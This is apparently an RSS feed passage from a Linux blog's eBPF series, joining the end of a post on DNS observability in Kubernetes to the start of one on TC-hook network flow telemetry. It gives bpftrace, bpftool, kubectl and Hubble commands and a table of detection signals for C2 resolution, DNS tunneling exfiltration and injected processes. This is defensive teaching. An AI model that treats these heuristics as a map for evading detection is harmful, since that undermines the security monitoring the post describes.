recvfrom(sockfd, buf, len, 0, &amp;src_addr, &amp;src_len)
    ↓                     ← eBPF tracepoint fires here: sys_exit_recvfrom
glibc parses DNS response
    ↓
getaddrinfo() returns IP addresses to application
</code></pre>
<blockquote>
<p><strong><code class="" data-line="">getaddrinfo</code></strong> — the standard POSIX function applications call to resolve a hostname to IP addresses. It lives in glibc, not in the kernel. The kernel never sees the domain name string directly — it only sees the UDP packet carrying the DNS wire-format query. To read the actual domain name in an eBPF program, you parse the DNS packet payload at the <code class="" data-line="">sendto</code> tracepoint.</p>
<p><strong><code class="" data-line="">tracepoint</code></strong> — a stable, versioned hook deliberately placed in Linux kernel source code by kernel developers. Unlike kprobes (which attach to arbitrary kernel functions and break when those functions change), tracepoints are part of the kernel&#8217;s stable interface. The <code class="" data-line="">syscalls:sys_enter_sendto</code> tracepoint has been present and stable since kernel 3.x. You can rely on it across Ubuntu 20.04 through the latest kernels without version checks.</p>
</blockquote>
<hr />
<h2 id="reading-dns-queries-at-the-tracepoint">Reading DNS Queries at the Tracepoint</h2>
<p>The <code class="" data-line="">sendto</code> tracepoint fires when any process sends data on a socket. Filtering to port 53 gives you DNS queries. Parsing the payload gives you the domain name.</p>
<p>The DNS wire format for a query:</p>
<pre><code class="" data-line="">Bytes 0-11:   DNS header (12 bytes)
              - Transaction ID (2 bytes)
              - Flags (2 bytes)
              - QDCount, ANCount, NSCount, ARCount (2 bytes each)
Byte 12+:     Question section
              - QNAME (variable length, label-encoded)
              - QTYPE (2 bytes)
              - QCLASS (2 bytes)
</code></pre>
<p>The QNAME is length-prefixed labels: <code class="" data-line="">\x03api\x07example\x03com\x00</code> for <code class="" data-line="">api.example.com</code>. bpftrace can read the raw bytes but parsing label encoding inline in a one-liner is awkward. For raw query detection (flag any DNS query from a specific process), the tracepoint is enough:</p>
<pre><code class="" data-line=""># Watch DNS queries from a specific process name — replace &quot;payment-svc&quot;
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_sendto /comm == &quot;payment-svc&quot;/ {
    printf(&quot;PID %-6d sending %d bytes to DNS\n&quot;, pid, args-&gt;len);
}
&#039;
</code></pre>
<p>For full domain name extraction, use a tool that implements DNS wire-format parsing in its eBPF layer. Tetragon and Pixie both do this. On a Tetragon-instrumented cluster:</p>
<pre><code class="" data-line=""># Watch DNS queries with domain names — Tetragon (all pods)
kubectl exec -n kube-system -it $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_KPROBE \
  | grep -i dns
</code></pre>
<p>Sample Tetragon output:</p>
<pre><code class="" data-line="">{
  &quot;process&quot;: {
    &quot;pod&quot;: {&quot;name&quot;: &quot;payment-svc-7d4b9f-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;},
    &quot;binary&quot;: &quot;/usr/bin/payment-service&quot;,
    &quot;pid&quot;: 11043
  },
  &quot;function_name&quot;: &quot;__sys_sendto&quot;,
  &quot;args&quot;: [
    {&quot;sock_arg&quot;: {&quot;family&quot;: &quot;AF_INET&quot;, &quot;protocol&quot;: &quot;UDP&quot;,
                  &quot;daddr&quot;: &quot;10.96.0.10&quot;, &quot;dport&quot;: 53}},
    {&quot;bytes_arg&quot;: &quot;&lt;DNS query for metrics.datadoghq.com&gt;&quot;}
  ]
}
</code></pre>
<p>Pod name, namespace, binary, PID, and the domain being queried — all from a kernel tracepoint, no sidecar, no pod restart.</p>
<hr />
<h2 id="building-pod-level-dns-attribution-without-tetragon">Building Pod-Level DNS Attribution Without Tetragon</h2>
<p>If you&#8217;re not running Tetragon, you can build pod-level attribution from the PID. When bpftrace reports a PID making a DNS query, map it to a container:</p>
<pre><code class="" data-line=""># Get the PID from bpftrace, then:
PID=11043

# Which cgroup does this PID belong to? (maps to container/pod)
cat /proc/$PID/cgroup | grep kubepods
# 12:cpu:/kubepods/burstable/pod3f8a21bc-4e7d-4b91-a3c2-8b947f6e3d12/a4c8f1e2b3d4...
# The pod UID is embedded: pod3f8a21bc-4e7d-4b91-a3c2-8b947f6e3d12

# Map pod UID to pod name
kubectl get pods -A -o jsonpath=&#039;{range .items[*]}{.metadata.uid}{&quot; &quot;}{.metadata.name}{&quot; &quot;}{.metadata.namespace}{&quot;\n&quot;}{end}&#039; \
  | grep 3f8a21bc-4e7d-4b91-a3c2-8b947f6e3d12
# 3f8a21bc-4e7d-4b91-a3c2-8b947f6e3d12  payment-svc-7d4b9f-xk2p1  production
</code></pre>
<p>That&#8217;s the full chain: kernel tracepoint → host PID → cgroup path → pod UID → pod name + namespace. Automatable. No agents required inside the pod.</p>
<hr />
<h2 id="detecting-anomalous-dns-what-to-watch-for">Detecting Anomalous DNS: What to Watch For</h2>
<p>DNS is the first observable action in most attack chains. A process that has been compromised or injected typically cannot establish a C2 connection without first resolving the C2 domain.</p>
<p>Signals worth watching at the kernel DNS layer:</p>
<p><strong>Queries to non-cluster domains from unexpected processes</strong></p>
<pre><code class="" data-line=""># Flag any DNS query to a non-cluster domain (not .cluster.local or .svc.cluster.local)
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_sendto {
    $port = (uint16)((uint8*)args-&gt;addr)[3] &lt;&lt; 8 |
            (uint16)((uint8*)args-&gt;addr)[2];
    if ($port == 53) {
        printf(&quot;%-20s %-6d DNS sendto\n&quot;, comm, pid);
    }
}&#039; --timeout 60
</code></pre>
<p><strong>High-frequency DNS queries from a single process</strong> (DNS tunneling fingerprint)</p>
<pre><code class="" data-line=""># Processes making more than N DNS queries per second
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_sendto {
    $port = (uint16)((uint8*)args-&gt;addr)[3] &lt;&lt; 8 |
            (uint16)((uint8*)args-&gt;addr)[2];
    if ($port == 53) { @[pid, comm] = count(); }
}
interval:s:1 {
    print(@);
    clear(@);
}
&#039;
</code></pre>
<p>DNS tunneling exfiltrates data by encoding it in subdomains of queries. A process making 50+ DNS queries per second to varied subdomains of the same parent domain is a strong signal. CoreDNS aggregate metrics will show elevated query volume; the kernel tracepoint tells you which PID is responsible.</p>
<p><strong>Queries immediately followed by a connection</strong> (normal vs anomalous pattern)</p>
<p>Legitimate services resolve a known set of domains. A process that resolves a new, never-before-seen domain and immediately opens a TCP connection to the returned IP is structurally different from normal service behavior. The combination of DNS tracepoint + TCP connect kprobe lets you correlate these events by PID and timestamp — without any application instrumentation.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>DNS payload parsing is not trivial in bpftrace.</strong> Reading the domain name from the UDP payload requires byte-level parsing of the DNS wire format inside an eBPF program. bpftrace can read raw bytes with <code class="" data-line="">buf()</code>, but the label-encoded domain name format requires a loop that the verifier may reject for complexity reasons. Tools like Tetragon and Pixie implement this parsing in C within their eBPF programs where they have more control over verifier limits. For raw detection (flag DNS queries from unexpected processes), the sendto tracepoint without payload parsing is enough.</p>
<p><strong><code class="" data-line="">sendto</code> fires for all UDP, not just DNS.</strong> Filter on the destination port. The destination address structure is at <code class="" data-line="">args-&gt;addr</code> — port is in network byte order at bytes 2–3 of the <code class="" data-line="">sockaddr_in</code> structure. The filtering in the examples above is correct for port 53; double-check if you&#8217;re on a cluster that uses a non-standard DNS port.</p>
<p><strong>CoreDNS pods will appear in your DNS query trace — that&#8217;s expected.</strong> CoreDNS makes upstream DNS queries to resolve non-cluster domains. Filter on namespace/cgroup if you want to exclude CoreDNS from your trace.</p>
<p><strong>DNS over TCP is a separate code path.</strong> Most DNS queries are UDP. Large responses (&gt;512 bytes) or DNSSEC responses may trigger TCP fallback. The <code class="" data-line="">sendto</code> tracepoint catches UDP; for TCP DNS, you&#8217;d need <code class="" data-line="">tcp_sendmsg</code> with port 53 filtering. In practice, within-cluster DNS resolution is almost entirely UDP.</p>
<p><strong>glibc caching means not every <code class="" data-line="">getaddrinfo()</code> generates a DNS query.</strong> glibc caches resolved hostnames in the process&#8217;s memory. A service that calls <code class="" data-line="">getaddrinfo(&quot;api.example.com&quot;)</code> every 100ms may only generate a DNS query every 30 seconds (the TTL). If you&#8217;re looking for which pods are resolving a domain and see only occasional tracepoint hits, that&#8217;s expected — it&#8217;s the cache miss rate, not the access rate.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>All DNS queries on a node</td>
<td><code class="" data-line="">bpftrace -e &#039;tracepoint:syscalls:sys_enter_sendto { if (port == 53) ... }&#039;</code></td>
</tr>
<tr>
<td>DNS query count per process</td>
<td><code class="" data-line="">bpftrace -e &#039;... { @[comm] = count(); }&#039;</code></td>
</tr>
<tr>
<td>DNS queries from a specific process</td>
<td><code class="" data-line="">bpftrace -e &#039;... /comm == &quot;my-svc&quot;/ { ... }&#039;</code></td>
</tr>
<tr>
<td>Map PID to pod</td>
<td><code class="" data-line="">cat /proc/&lt;pid&gt;/cgroup</code> → extract pod UID → <code class="" data-line="">kubectl get pods</code></td>
</tr>
<tr>
<td>DNS events with domain names (Tetragon)</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_KPROBE</code></td>
</tr>
<tr>
<td>DNS policy violations (Cilium)</td>
<td><code class="" data-line="">hubble observe --verdict DROPPED --protocol DNS</code></td>
</tr>
<tr>
<td>CoreDNS query logs</td>
<td><code class="" data-line="">kubectl logs -n kube-system -l k8s-app=kube-dns</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>DNS signal</th>
<th>What it indicates</th>
</tr>
</thead>
<tbody>
<tr>
<td>New domain, immediate TCP connect</td>
<td>Possible C2 resolution</td>
</tr>
<tr>
<td>50+ queries/second from one PID</td>
<td>DNS tunneling candidate</td>
</tr>
<tr>
<td>Query to non-cluster domain from batch job</td>
<td>Unusual — investigate</td>
</tr>
<tr>
<td>NXDOMAIN responses at high rate</td>
<td>Misconfiguration or DGA</td>
</tr>
<tr>
<td>Queries from PID not matching any known binary</td>
<td>Injected process</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>DNS observability in Kubernetes with eBPF uses the <code class="" data-line="">sendto</code> tracepoint — the hook fires when the process issues the syscall, before the packet leaves the node, giving you PID-level attribution with no sidecar</li>
<li>CoreDNS metrics show aggregate DNS health; kernel tracepoints show which pod and which process made each query — the attribution gap between the two is where anomaly detection lives</li>
<li>The DNS syscall path goes: <code class="" data-line="">getaddrinfo()</code> → glibc → <code class="" data-line="">sendto()</code> syscall → kernel UDP stack → CoreDNS. eBPF hooks fire at the <code class="" data-line="">sendto()</code> boundary</li>
<li>A compromised workload&#8217;s first observable action is almost always a DNS query; tracepoint-based DNS observability catches it at the kernel level, ahead of any application log</li>
<li>glibc caches resolved names, so tracepoint hit rate reflects cache misses, not <code class="" data-line="">getaddrinfo()</code> call rate — account for this when baselining</li>
<li>Full domain name extraction requires DNS wire-format parsing; Tetragon and Pixie do this in their eBPF programs; bpftrace one-liners detect the query event without the domain string</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>DNS observability tells you what a workload is resolving. EP12 answers what happens when you want to stop a workload from doing something — not detect it after the fact, but prevent it at the syscall boundary before it completes.</p>
<p>LSM hooks and Tetragon&#8217;s kill path enforce at the kernel level. When the kernel enforces, the process never gets the return value from the syscall. There is no &#8220;detect and respond&#8221; window — the action simply does not complete. That is a structurally different security posture from anything a sidecar or userspace agent can provide.</p>
<p><em>Next: <a href="/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon — when the kernel says no</a></em></p>
<p>Get EP12 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-dns-observability-kubernetes%2F&amp;linkname=DNS%20at%20the%20Kernel%20Level%20%E2%80%94%20What%20Your%20Pods%20Are%20Actually%20Resolving" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-dns-observability-kubernetes%2F&amp;linkname=DNS%20at%20the%20Kernel%20Level%20%E2%80%94%20What%20Your%20Pods%20Are%20Actually%20Resolving" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-dns-observability-kubernetes%2F&amp;linkname=DNS%20at%20the%20Kernel%20Level%20%E2%80%94%20What%20Your%20Pods%20Are%20Actually%20Resolving" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-dns-observability-kubernetes%2F&amp;linkname=DNS%20at%20the%20Kernel%20Level%20%E2%80%94%20What%20Your%20Pods%20Are%20Actually%20Resolving" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-dns-observability-kubernetes%2F&amp;linkname=DNS%20at%20the%20Kernel%20Level%20%E2%80%94%20What%20Your%20Pods%20Are%20Actually%20Resolving" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-dns-observability-kubernetes%2F&amp;linkname=DNS%20at%20the%20Kernel%20Level%20%E2%80%94%20What%20Your%20Pods%20Are%20Actually%20Resolving" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-dns-observability-kubernetes%2F&amp;linkname=DNS%20at%20the%20Kernel%20Level%20%E2%80%94%20What%20Your%20Pods%20Are%20Actually%20Resolving" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Febpf-dns-observability-kubernetes%2F&#038;title=DNS%20at%20the%20Kernel%20Level%20%E2%80%94%20What%20Your%20Pods%20Are%20Actually%20Resolving" data-a2a-url="https://linuxcent.com/ebpf-dns-observability-kubernetes/" data-a2a-title="DNS at the Kernel Level — What Your Pods Are Actually Resolving"></a></p><p>The post <a href="https://linuxcent.com/ebpf-dns-observability-kubernetes/">DNS at the Kernel Level — What Your Pods Are Actually Resolving</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ebpf-dns-observability-kubernetes/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1840</post-id>	</item>
		<item>
		<title>Network Flow Observability — What Every Connection Reveals</title>
		<link>https://linuxcent.com/ebpf-network-flow-observability/</link>
					<comments>https://linuxcent.com/ebpf-network-flow-observability/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 29 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Cilium]]></category>
		<category><![CDATA[Flow Telemetry]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network Observability]]></category>
		<category><![CDATA[SRE]]></category>
		<category><![CDATA[TC eBPF]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1838</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Network flow observability eBPF shows every TCP connection and retransmit across your cluster — telemetry APM tools interpret, not originate.</p>
<p>The post <a href="https://linuxcent.com/ebpf-network-flow-observability/">Network Flow Observability — What Every Connection Reveals</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 10</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <strong>Network Flow Observability</strong> · <a href="/ebpf-dns-observability-kubernetes/">DNS Observability</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Network flow observability with eBPF attaches persistent programs to TC hooks and records every connection attempt, retransmit, reset, and drop — continuously, with no sampling<br />
  <em>(TC hook = Traffic Control hook: the point in the Linux network stack where eBPF programs intercept packets after ingress or before egress, tied to a specific network interface)</em></li>
<li>APM tools and service mesh telemetry are interpretations of what happened; kernel-level flow data from TC hooks is the raw event stream they all derive from</li>
<li>Retransmit counters at the kernel level reveal congestion, half-open connections, and remote endpoint failures that application logs never surface</li>
<li>Cilium&#8217;s Hubble and similar tools (Pixie, Retina) are eBPF flow exporters — they run TC programs, collect <code class="" data-line="">perf_event</code> or <code class="" data-line="">ringbuf</code> events, and expose them over an API</li>
<li>You can verify what flow data a tool is actually collecting with four <code class="" data-line="">bpftool</code> commands — without reading documentation</li>
<li>Production caution: flow maps grow with the number of active connections; pin and bound your maps, and account for the per-packet overhead on high-throughput interfaces</li>
</ul>
<hr />
<p>EP09 showed bpftrace as an on-demand kernel query tool — compile a question, get an answer, clean up. Network flow observability with eBPF is the persistent version: programs that stay attached to TC hooks across your entire fleet, recording every connection without waiting for you to ask. When a client reports intermittent failures that appear nowhere in application logs, that persistent record is what you query. This episode covers how that layer works and how to read it.</p>
<h2 id="quick-check-what-flow-data-is-your-cluster-already-collecting">Quick Check: What Flow Data Is Your Cluster Already Collecting?</h2>
<p>Before building anything new, check what&#8217;s already running. If you have Cilium, Pixie, or Retina on your cluster, eBPF flow programs are already attached:</p>
<pre><code class="" data-line=""># SSH into a worker node, then:

# What TC programs are attached to cluster interfaces?
bpftool net list

# Expected output on a Cilium node:
# xdp:
#
# tc:
# eth0(2) clsact/ingress prog_id 38 prio 1 handle 0x1 direct-action
# eth0(2) clsact/egress  prog_id 39 prio 1 handle 0x1 direct-action
# lxc12a3(15) clsact/ingress prog_id 41 prio 1 handle 0x1 direct-action
# lxc12a3(15) clsact/egress  prog_id 42 prio 1 handle 0x1 direct-action
</code></pre>
<pre><code class="" data-line=""># What maps are those programs holding state in?
bpftool map list | grep -E &quot;flow|conn|sock|nat&quot;

# Sample output:
# 24: hash  name cilium_ct4_global  flags 0x0
#     key 24B  value 56B  max_entries 65536  memlock 4718592B
# 25: hash  name cilium_ct4_local   flags 0x0
#     key 24B  value 56B  max_entries 8192   memlock 589824B
</code></pre>
<p>Each <code class="" data-line="">lxcXXXX</code> interface is a pod&#8217;s veth pair. The TC programs on those interfaces are what Cilium uses to enforce NetworkPolicy and collect flow telemetry. If you see <code class="" data-line="">prog_id</code> values on pod interfaces, your cluster is already doing kernel-level flow collection.</p>
<blockquote>
<p><strong>Not running Cilium?</strong> On a plain kubeadm or EKS node without a CNI that uses eBPF, <code class="" data-line="">bpftool net list</code> will show no TC programs on pod interfaces — just whatever kube-proxy or the CNI plugin installed. You can still attach your own flow programs with <code class="" data-line="">tc qdisc add dev eth0 clsact</code> — that&#8217;s the starting point this episode covers.</p>
</blockquote>
<hr />
<p>The client opened a ticket on a Tuesday afternoon. &#8220;Intermittent connection failures to the payment gateway. Started around 11 AM. Application logs say timeout. Retry logic is masking it for most users but the error rate is up 0.3%.&#8221;</p>
<p>I looked at the APM dashboard. The service showed elevated latency — p99 at 850ms versus a normal 120ms — but no hard errors at the application layer. The service mesh metrics showed the downstream call succeeding from the mesh&#8217;s perspective. The payment gateway team said their side looked clean.</p>
<p>Three tools. Three different answers. All of them interpreting the network. None of them were the network.</p>
<p>I ran:</p>
<pre><code class="" data-line="">bpftool map dump id 24 | grep -A5 &quot;payment-gateway-ip&quot;
</code></pre>
<p>The connection tracking map showed retransmit count 14 for a specific <code class="" data-line="">(src_ip, dst_ip, src_port, dst_port)</code> tuple — the same 5-tuple, every 30 seconds, for 2 hours. The kernel was retransmitting. The TCP stack was compensating. The application was seeing sporadic success because retransmits eventually got through. The APM dashboard averaged that latency into a p99 and called it &#8220;elevated.&#8221;</p>
<p>The kernel had the truth. Everything above it was rounding.</p>
<hr />
<h2 id="why-application-level-metrics-miss-what-the-kernel-sees">Why Application-Level Metrics Miss What the Kernel Sees</h2>
<p>Application metrics — APM spans, service mesh telemetry, load balancer health checks — operate at Layer 7. They measure round-trip time for complete requests, error codes returned, bytes transferred. They answer &#8220;did this request succeed?&#8221; not &#8220;what did the network do to make it succeed?&#8221;</p>
<p>The TCP stack underneath those requests handles retransmits, congestion window adjustments, RST packets, and half-open connections silently. From an application&#8217;s perspective, a request that required 3 retransmits before the ACK arrived looks identical to one that succeeded on the first attempt — slightly slower, but successful.</p>
<p>This is structural, not a tooling gap. Application-layer observability tools cannot see below their own protocol boundary. The kernel&#8217;s TCP implementation does not report upward when it retransmits. It just retransmits.</p>
<p>eBPF flow observability closes this gap by attaching programs directly to the network path — at the TC hook, which fires on every packet crossing a network interface — and recording what the kernel actually does.</p>
<hr />
<h2 id="how-tc-hook-flow-programs-work">How TC Hook Flow Programs Work</h2>
<p>EP08 covered TC eBPF programs for pod network policy. Flow observability uses the same attachment point with a different purpose: instead of allowing or dropping packets, the program reads packet metadata and writes it to a map or ring buffer.</p>
<pre><code class="" data-line="">Pod sends packet
      ↓
veth interface (lxcXXXX)
      ↓
TC clsact/egress hook fires
      ↓
eBPF program reads:
  - src IP, dst IP
  - src port, dst port
  - protocol
  - packet size
  - TCP flags (SYN, ACK, FIN, RST, retransmit bit)
      ↓
Writes event to ringbuf (or perf_event_array)
      ↓
Userspace consumer reads ringbuf
      ↓
Aggregates to flow record
      ↓
Exports to Hubble/Prometheus/flow store
</code></pre>
<blockquote>
<p><strong><code class="" data-line="">ringbuf</code></strong> — a BPF ring buffer: a lock-free, memory-efficient queue shared between a kernel eBPF program and a userspace consumer. The kernel program writes events; the userspace reader drains them. Used instead of <code class="" data-line="">perf_event_array</code> in kernel 5.8+ because it avoids per-CPU memory waste and supports variable-length records. When you see Hubble exporting flows, it&#8217;s reading from a ringbuf that the TC program writes to.</p>
</blockquote>
<p>The key structural property: the TC hook fires on every packet. Not sampled. Not throttled by default. Every SYN, every ACK, every RST, every retransmit. For flow observability, you typically aggregate at the program level — count packets and bytes per 5-tuple per second, rather than emitting an event per packet — but the raw visibility is there if you need it.</p>
<hr />
<h2 id="what-retransmit-telemetry-actually-reveals">What Retransmit Telemetry Actually Reveals</h2>
<p>Most flow observability implementations track TCP retransmits specifically because they are the clearest signal of network-layer trouble invisible to applications.</p>
<p>A TCP retransmit happens when a sender doesn&#8217;t receive an ACK within the retransmission timeout (RTO). The kernel resends the segment and doubles the timeout (exponential backoff). From the application&#8217;s perspective, the call takes longer. If retransmits keep clearing, the application sees success — just slow success.</p>
<blockquote>
<p><strong><code class="" data-line="">perf_event</code></strong> — a kernel mechanism for collecting performance data. In eBPF, <code class="" data-line="">BPF_MAP_TYPE_PERF_EVENT_ARRAY</code> lets kernel programs push variable-length records to userspace readers via a ring buffer per CPU. Older tools use <code class="" data-line="">perf_event_array</code>; newer ones use <code class="" data-line="">BPF_MAP_TYPE_RINGBUF</code> (single shared ring, more efficient). If you inspect an older version of Cilium&#8217;s flow exporter, you&#8217;ll see <code class="" data-line="">perf_event</code> writes; newer versions use <code class="" data-line="">ringbuf</code>.</p>
</blockquote>
<p>To observe retransmits directly with bpftrace:</p>
<pre><code class="" data-line=""># Count retransmit events per destination IP — run for 60 seconds
bpftrace -e &#039;
kprobe:tcp_retransmit_skb {
    $sk = (struct sock *)arg0;
    $daddr = ntop(AF_INET, $sk-&gt;__sk_common.skc_daddr);
    @retransmits[$daddr] = count();
}
interval:s:60 { print(@retransmits); clear(@retransmits); exit(); }
&#039;
</code></pre>
<p>Sample output:</p>
<pre><code class="" data-line="">Attaching 2 probes...
@retransmits[10.96.0.10]:   2       # DNS service — normal
@retransmits[172.16.4.23]:  847     # payment gateway endpoint ← problem here
@retransmits[10.244.1.5]:   1       # normal pod-to-pod traffic
</code></pre>
<p>847 retransmits to a single endpoint in 60 seconds. That&#8217;s not noise. That&#8217;s a congested or half-open connection being retried 14 times per second by the TCP stack while the application layer averages it into &#8220;elevated latency.&#8221;</p>
<hr />
<h2 id="how-cilium-hubble-collects-flow-data">How Cilium Hubble Collects Flow Data</h2>
<p>Hubble is the flow observability layer built into Cilium. Understanding how it works makes you able to reason about what it can and cannot see — and how to verify what it&#8217;s actually collecting.</p>
<p>Hubble&#8217;s architecture:</p>
<pre><code class="" data-line="">Kernel (per node)
├── TC eBPF programs on all pod veth interfaces
│     write flow events → BPF ringbuf
│
└── Hubble node agent (userspace)
      reads ringbuf
      enriches with pod metadata (Kubernetes API)
      exposes gRPC API

Cluster level
└── Hubble Relay
      aggregates per-node gRPC streams
      exposes single cluster-wide API

User tooling
└── hubble observe  /  Hubble UI  /  Prometheus exporter
</code></pre>
<p>The TC programs are writing raw packet events. The Hubble agent is the consumer that translates those events into Kubernetes-aware flow records — adding pod name, namespace, label, and policy verdict on top of the 5-tuple and TCP metadata the kernel provides.</p>
<p>To see what Hubble&#8217;s TC programs have attached:</p>
<pre><code class="" data-line=""># On any Cilium node
bpftool net list | grep lxc

# lxce4a1(23) clsact/ingress prog_id 61  ← Hubble flow program on pod interface ingress
# lxce4a1(23) clsact/egress  prog_id 62  ← Hubble flow program on pod interface egress
# lxcf7b2(31) clsact/ingress prog_id 63
